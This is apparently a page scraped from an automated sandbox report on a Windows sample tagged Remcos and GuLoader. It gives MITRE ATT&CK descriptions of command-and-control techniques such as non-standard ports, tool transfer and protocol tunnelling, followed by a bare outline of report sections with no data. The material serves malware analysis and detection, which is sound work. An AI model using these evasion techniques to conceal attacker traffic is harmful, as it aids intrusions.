Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report DW1VgsgHNU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Remcos

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph